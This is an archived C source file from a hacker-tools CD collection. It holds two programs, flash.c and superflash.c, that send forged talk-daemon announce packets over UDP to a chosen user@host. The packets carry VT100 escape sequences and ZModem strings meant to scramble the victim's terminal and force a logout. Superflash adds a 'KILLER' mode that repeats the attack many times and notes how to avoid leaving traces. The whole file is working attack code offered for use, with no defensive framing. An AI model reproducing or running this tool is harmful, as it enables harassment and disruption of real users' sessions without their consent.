home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / flash.c < prev    next >
Encoding:
C/C++ Source or Header  |  2001-11-06  |  13.1 KB  |  508 lines
  1. /* flash.c */
  2.  
  3. /* This little program is intended to quickly mess up a user's
  4.    terminal by issuing a talk request to that person and sending
  5.    vt100 escape characters that force the user to logout or kill
  6.    his/her xterm in order to regain a sane view of the text.
  7.    It the user's message mode is set to off (mesg n) he/she will
  8.    be unharmed. 
  9.    This program is really nasty :-)
  10.  
  11.    Usage: flash user@host
  12.  
  13.    try compiling with: gcc -o flash flash.c
  14. */
  15.  
  16.  
  17. #include <sys/types.h>
  18. #include <sys/socket.h>
  19. #include <netinet/in.h>
  20. #include <netdb.h>
  21. #include <stdio.h>
  22. #include <strings.h>
  23.  
  24. /* this should really be in an include file..  */
  25.  
  26. #define OLD_NAME_SIZE 9
  27. #define NAME_SIZE    12
  28. #define TTY_SIZE     16 
  29. typedef struct {
  30.         char    type;
  31.         char    l_name[OLD_NAME_SIZE];
  32.         char    r_name[OLD_NAME_SIZE];
  33.         char    filler;
  34.         u_long  id_num;
  35.         u_long  pid;
  36.         char    r_tty[TTY_SIZE];
  37.         struct  sockaddr_in addr;
  38.         struct  sockaddr_in ctl_addr;
  39. } OLD_MSG;
  40.  
  41. typedef struct {
  42.         u_char  vers;
  43.         char    type;
  44.         u_short filler;
  45.         u_long  id_num;
  46.         struct  sockaddr_in addr;
  47.         struct  sockaddr_in ctl_addr;
  48.         long    pid;
  49.         char    l_name[NAME_SIZE];
  50.         char    r_name[NAME_SIZE];
  51.         char    r_tty[TTY_SIZE];
  52. } CTL_MSG;
  53.  
  54. #define TALK_VERSION    1               /* protocol version */
  55.  
  56. /* Types */
  57. #define LEAVE_INVITE    0
  58. #define LOOK_UP         1
  59. #define DELETE          2
  60. #define ANNOUNCE        3
  61.  
  62. int    current = 1;     /* current id..  this to avoid duplications */
  63.  
  64. struct sockaddr_in *getinaddr(char *hostname, u_short port)
  65. {
  66. static  struct sockaddr    addr;
  67. struct  sockaddr_in *address;
  68. struct  hostent     *host;
  69.  
  70. address = (struct sockaddr_in *)&addr;
  71. (void) bzero( (char *)address, sizeof(struct sockaddr_in) );
  72. /* fill in the easy fields */
  73. address->sin_family = AF_INET;
  74. address->sin_port = htons(port);
  75. /* first, check if the address is an ip address */
  76. address->sin_addr.s_addr = inet_addr(hostname);
  77. if ( (int)address->sin_addr.s_addr == -1)
  78.         {
  79.         /* it wasn't.. so we try it as a long host name */
  80.         host = gethostbyname(hostname);
  81.         if (host)
  82.                 {
  83.                 /* wow.  It's a host name.. set the fields */
  84.                 /* ?? address->sin_family = host->h_addrtype; */
  85.                 bcopy( host->h_addr, (char *)&address->sin_addr,
  86.                         host->h_length);
  87.                 }
  88.         else
  89.                 {
  90.                 /* oops.. can't find it.. */
  91.         puts("Couldn't find address"); 
  92.         exit(-1);
  93.                 return (struct sockaddr_in *)0;
  94.                 }
  95.         }
  96. /* all done. */
  97. return (struct sockaddr_in *)address;
  98. }
  99.  
  100. SendTalkPacket(struct sockaddr_in *target, char *p, int psize) 
  101. {
  102. int     s;
  103. struct sockaddr sample; /* not used.. only to get the size */
  104.  
  105. s = socket(AF_INET, SOCK_DGRAM, 0);
  106. sendto( s, p, psize, 0,(struct sock_addr *)target, sizeof(sample) ); 
  107. } 
  108.  
  109.  
  110. new_ANNOUNCE(char *hostname, char *remote, char *local)
  111. {
  112. CTL_MSG     packet; 
  113. struct   sockaddr_in  *address;
  114.  
  115. /* create a packet */
  116. address = getinaddr(hostname, 666 );  
  117. address->sin_family = htons(AF_INET); 
  118.  
  119. bzero( (char *)&packet, sizeof(packet) );
  120. packet.vers   = TALK_VERSION; 
  121. packet.type   = ANNOUNCE;   
  122. packet.pid    = getpid();
  123. packet.id_num = current;
  124. bcopy( (char *)address, (char *)&packet.addr, sizeof(packet.addr ) ); 
  125. bcopy( (char *)address, (char *)&packet.ctl_addr, sizeof(packet.ctl_addr));
  126. strncpy( packet.l_name, local, NAME_SIZE); 
  127. strncpy( packet.r_name, remote, NAME_SIZE); 
  128. strncpy( packet.r_tty, "", 1); 
  129.  
  130. SendTalkPacket( getinaddr(hostname, 518), (char *)&packet, sizeof(packet) ); 
  131. }
  132.  
  133. old_ANNOUNCE(char *hostname, char *remote, char *local)
  134. {
  135. OLD_MSG  packet;
  136. struct   sockaddr_in  *address;
  137.  
  138. /* create a packet */
  139. address = getinaddr(hostname, 666 );
  140. address->sin_family = htons(AF_INET);
  141.  
  142. bzero( (char *)&packet, sizeof(packet) );
  143. packet.type   = ANNOUNCE;
  144. packet.pid    = getpid();
  145. packet.id_num = current;
  146. bcopy( (char *)address, (char *)&packet.addr, sizeof(packet.addr ) );
  147. bcopy( (char *)address, (char *)&packet.ctl_addr, sizeof(packet.ctl_addr));
  148. strncpy( packet.l_name, local, NAME_SIZE);
  149. strncpy( packet.r_name, remote, NAME_SIZE);
  150. strncpy( packet.r_tty, "", 1);
  151.  
  152. SendTalkPacket( getinaddr(hostname, 517), (char *)&packet, sizeof(packet) );
  153. }
  154.  
  155. main(int argc, char *argv[])
  156. {
  157.     char    *hostname, *username; 
  158.     int    pid;
  159.  
  160.     if ( (pid = fork()) == -1)  
  161.          {
  162.         perror("fork()");
  163.         exit(-1);
  164.         }
  165.     if ( !pid )
  166.         {
  167.         exit(0);
  168.         }
  169.     if (argc < 2) { 
  170.         puts("Usage: <finger info> ");
  171.         exit(5);
  172.     }
  173.      username = argv[1]; 
  174.     if ( (hostname = (char *)strchr(username, '@')) == NULL )    
  175.         {
  176.         puts("Invalid name.  ");
  177.         exit(-1);
  178.         }
  179.         *hostname = '\0'; 
  180.     hostname++; 
  181.  
  182.     if (*username == '~') 
  183.         username++; 
  184.  
  185. #define FIRST "\033c\033(0\033#8" 
  186. #define SECOND "\033[1;3r\033[J"
  187. #define THIRD  "\033[5m\033[?5h"
  188.     new_ANNOUNCE(hostname, username, FIRST);
  189.     old_ANNOUNCE(hostname, username, FIRST);
  190.     current++; 
  191.     new_ANNOUNCE(hostname, username, SECOND);
  192.     new_ANNOUNCE(hostname, username, SECOND);
  193.     current++;
  194.     new_ANNOUNCE(hostname, username, THIRD); 
  195.      old_ANNOUNCE(hostname, username, THIRD);
  196. }
  197.  
  198.  
  199.  
  200.  
  201.  
  202.  
  203. -------------------------------------------------------------------------
  204.  
  205.  
  206. /* superflash.c */
  207.  
  208. /* 
  209.    - Modified from the original a very, very little bit by Vassago
  210.    - to add the ZModem Start Strings, and make it flash 7 times.    
  211. */
  212.  
  213. /* This little program is intended to quickly mess up a user's
  214.    terminal by issuing a talk request to that person and sending
  215.    vt100 escape characters that force the user to logout or kill
  216.    his/her xterm in order to regain a sane view of the text.
  217.    It the user's message mode is set to off (mesg n) he/she will
  218.    be unharmed. 
  219.    This program is really nasty :-)
  220.  
  221.    Usage: flash user@host
  222.  
  223.    try compiling with: gcc -o flash flash.c
  224. */
  225.  
  226. /* Changes: 
  227.  
  228.      Allow several types of flash. Usage: flash user@host [level]
  229.         where level is either the number or the word for these:
  230.         1 - BASIC  - Old flash, no zmodem, just the nuke strings.
  231.         2 - ZMODEM - Old with ZModem.
  232.         3 - KILLER - 99 ZModem flashes. Should keep someone's term 
  233.                 occupied for a while. WARNING: DONT FLASH ROOT with 
  234.                 this shit. This leaves a trail a mile wide.
  235.  
  236. */
  237.  
  238. #include <sys/types.h>
  239. #include <sys/socket.h>
  240. #include <netinet/in.h>
  241. #include <netdb.h>
  242. #include <stdio.h>
  243. #include <strings.h>
  244. #include <string.h>
  245. #include <ctype.h>
  246.  
  247. #define BASIC  1
  248. #define ZMODEM 2
  249. #define KILLER 3
  250.  
  251. #define FIRST "\033(0\033#8" 
  252. #define SECOND "\033[1;3r\033[5i"
  253. #define THIRD  "\033[1;5m\033(0"
  254. #define FOURTH "**\030B00"
  255. #define FIFTH  "\033**EMSI_IRQ8E08"
  256.  
  257. /* Uncomment this for a debugging message... */
  258. #define INFOMESSAGE 
  259.  
  260. /* this should really be in an include file..  */
  261.  
  262. #define OLD_NAME_SIZE 9
  263. #define NAME_SIZE    12
  264. #define TTY_SIZE     16 
  265. typedef struct {
  266.         char    type;
  267.         char    l_name[OLD_NAME_SIZE];
  268.         char    r_name[OLD_NAME_SIZE];
  269.         char    filler;
  270.         u_long  id_num;
  271.         u_long  pid;
  272.         char    r_tty[TTY_SIZE];
  273.         struct  sockaddr_in addr;
  274.         struct  sockaddr_in ctl_addr;
  275. } OLD_MSG;
  276.  
  277. typedef struct {
  278.         u_char  vers;
  279.         char    type;
  280.         u_short filler;
  281.         u_long  id_num;
  282.         struct  sockaddr_in addr;
  283.         struct  sockaddr_in ctl_addr;
  284.         long    pid;
  285.         char    l_name[NAME_SIZE];
  286.         char    r_name[NAME_SIZE];
  287.         char    r_tty[TTY_SIZE];
  288. } CTL_MSG;
  289.  
  290. int seed = 0x2837;
  291.  
  292. #define TALK_VERSION    1               /* protocol version */
  293.  
  294. /* Types */
  295. #define LEAVE_INVITE    0
  296. #define LOOK_UP         1
  297. #define DELETE          2
  298. #define ANNOUNCE        3
  299.  
  300. int     current = 1;    /* current id..  this to avoid duplications */
  301.  
  302. struct sockaddr_in *getinaddr(char *hostname, u_short port)
  303. {
  304. static  struct sockaddr    addr;
  305. struct  sockaddr_in *address;
  306. struct  hostent     *host;
  307.  
  308. address = (struct sockaddr_in *)&addr;
  309. (void) bzero( (char *)address, sizeof(struct sockaddr_in) );
  310. /* fill in the easy fields */
  311. address->sin_family = AF_INET;
  312. address->sin_port = htons(port);
  313. /* first, check if the address is an ip address */
  314. address->sin_addr.s_addr = inet_addr(hostname);
  315. if ( (int)address->sin_addr.s_addr == -1)
  316.         {
  317.         /* it wasn't.. so we try it as a long host name */
  318.         host = gethostbyname(hostname);
  319.         if (host)
  320.                 {
  321.                 /* wow.  It's a host name.. set the fields */
  322.                 /* ?? address->sin_family = host->h_addrtype; */
  323.                 bcopy( host->h_addr, (char *)&address->sin_addr,
  324.                         host->h_length);
  325.                 }
  326.         else
  327.                 {
  328.                 /* oops.. can't find it.. */
  329.                 puts("Couldn't find address"); 
  330.                 exit(-1);
  331.                 return (struct sockaddr_in *)0;
  332.                 }
  333.         }
  334. /* all done. */
  335. return (struct sockaddr_in *)address;
  336. }
  337.  
  338. SendTalkPacket(struct sockaddr_in *target, char *p, int psize) 
  339. {
  340. int     s;
  341. struct sockaddr sample; /* not used.. only to get the size */
  342.  
  343. s = socket(AF_INET, SOCK_DGRAM, 0);
  344. sendto( s, p, psize, 0,(struct sock_addr *)target, sizeof(sample) ); 
  345. } 
  346.  
  347.  
  348. new_ANNOUNCE(char *hostname, char *remote, char *local)
  349. {
  350. CTL_MSG  packet; 
  351. struct   sockaddr_in  *address;
  352.  
  353. /* create a packet */
  354. address = getinaddr(hostname, 666 );  
  355. address->sin_family = htons(AF_INET); 
  356.  
  357. bzero( (char *)&packet, sizeof(packet) );
  358. packet.vers   = TALK_VERSION; 
  359. packet.type   = ANNOUNCE;   
  360. packet.pid    = getpid();
  361. packet.id_num = current;
  362. bcopy( (char *)address, (char *)&packet.addr, sizeof(packet.addr ) ); 
  363. bcopy( (char *)address, (char *)&packet.ctl_addr, sizeof(packet.ctl_addr));
  364. strncpy( packet.l_name, local, NAME_SIZE); 
  365. strncpy( packet.r_name, remote, NAME_SIZE); 
  366. strncpy( packet.r_tty, "", 1); 
  367.  
  368. SendTalkPacket( getinaddr(hostname, 518), (char *)&packet, sizeof(packet) ); 
  369. }
  370.  
  371. old_ANNOUNCE(char *hostname, char *remote, char *local)
  372. {
  373. OLD_MSG  packet;
  374. struct   sockaddr_in  *address;
  375.  
  376. /* create a packet */
  377. address = getinaddr(hostname, 666 );
  378. address->sin_family = htons(AF_INET);
  379.  
  380. bzero( (char *)&packet, sizeof(packet) );
  381. packet.type   = ANNOUNCE;
  382. packet.pid    = getpid();
  383. packet.id_num = current;
  384. bcopy( (char *)address, (char *)&packet.addr, sizeof(packet.addr ) );
  385. bcopy( (char *)address, (char *)&packet.ctl_addr, sizeof(packet.ctl_addr));
  386. strncpy( packet.l_name, local, NAME_SIZE);
  387. strncpy( packet.r_name, remote, NAME_SIZE);
  388. strncpy( packet.r_tty, "", 1);
  389.  
  390. SendTalkPacket( getinaddr(hostname, 517), (char *)&packet, sizeof(packet) );
  391. }
  392.  
  393. int rnd()
  394. {
  395.   seed *=0x1243;
  396.   seed = seed & 0xFFFF;
  397.   seed +=1;
  398.   while(seed>10000)seed-=10000;
  399.   return(seed);
  400. }
  401.  
  402.  
  403. pop(char *hostname, char *username, char *flashstring)
  404. {
  405.   char newflashstr[80];
  406.   int e = rnd();
  407.   sprintf(newflashstr,"%d%s",e,flashstring);    
  408.   new_ANNOUNCE(hostname, username, newflashstr); 
  409.   old_ANNOUNCE(hostname, username, newflashstr);
  410. }       
  411.  
  412. flash(int type, char *hostname, char *username)
  413. {
  414.       char firestring[10];
  415.       int x,y;
  416.  
  417.       current=0;
  418.       if (type == 3) y = 14;
  419.       else y = 1;
  420.  
  421.       for(x=0;x<y;x++)    
  422.       {
  423.         current++;
  424.         pop(hostname, username, FIRST);
  425.         current++; 
  426.         pop(hostname, username, SECOND);
  427.         current++;
  428.         pop(hostname, username, THIRD); 
  429.         if(type>1)
  430.         {
  431.           current++;
  432.           pop(hostname, username, FOURTH); 
  433.           current++;
  434.           pop(hostname, username, FIFTH); 
  435.           current++;
  436.           pop(hostname, username, FOURTH);
  437.         }
  438.         current++;
  439.         pop(hostname, username, FIRST); 
  440.       }
  441.     return(current);
  442. }
  443.  
  444. GetType(char *TypeStr)
  445. {
  446.         if (strcmp(TypeStr,"basic")==0)
  447.                 return(1);
  448.         else if (strcmp(TypeStr,"zmodem")==0)
  449.                 return(2);
  450.         else if (strcmp(TypeStr,"killer")==0)
  451.                 return(3);
  452.         else if (strcmp(TypeStr,"1")==0)
  453.                 return(1);
  454.         else if (strcmp(TypeStr,"2")==0)
  455.                 return(2);
  456.         else if (strcmp(TypeStr,"3")==0)
  457.                 return(3);
  458. }       
  459.  
  460. main(int argc, char *argv[])
  461. {
  462.         char    *hostname, *username; 
  463.         int     pid,type,name;
  464.  
  465.  
  466.         if ( (pid = fork()) == -1)  
  467.                 {
  468.                 perror("fork()");
  469.                 exit(-1);
  470.                 }
  471.         if ( !pid )
  472.                 {
  473.                 exit(0);
  474.                 }
  475.         if (argc < 2) { 
  476.                 puts("Usage: <finger info> ");
  477.                 exit(5);
  478.         }
  479.         if (argc >= 3) {
  480.                 type=GetType(argv[argc-1]);
  481.                 if(type<1||type>3)type=ZMODEM;
  482.         }
  483.         else type=ZMODEM;       /* default */
  484.  
  485.         for(name=1; name<argc-1; name++)
  486.         {
  487.         username = argv[name]; 
  488.         if ( (hostname = (char *)strchr(username, '@')) == NULL )       
  489.                 {
  490.                 puts("Invalid name.  ");
  491.                 exit(-1);
  492.                 }
  493.         *hostname = '\0'; 
  494.         hostname++; 
  495.  
  496.         if (*username == '~') 
  497.                 username++; 
  498. #ifdef INFOMESSAGE
  499.         printf("Sending a type #%d flash to %s@%s. (%d messages)\n",
  500.                         type,username,hostname,
  501.                         flash(type,hostname,username));
  502. #else
  503.         flash(type,hostname,username);
  504. #endif
  505.         sleep(1);
  506.         }
  507. }
  508.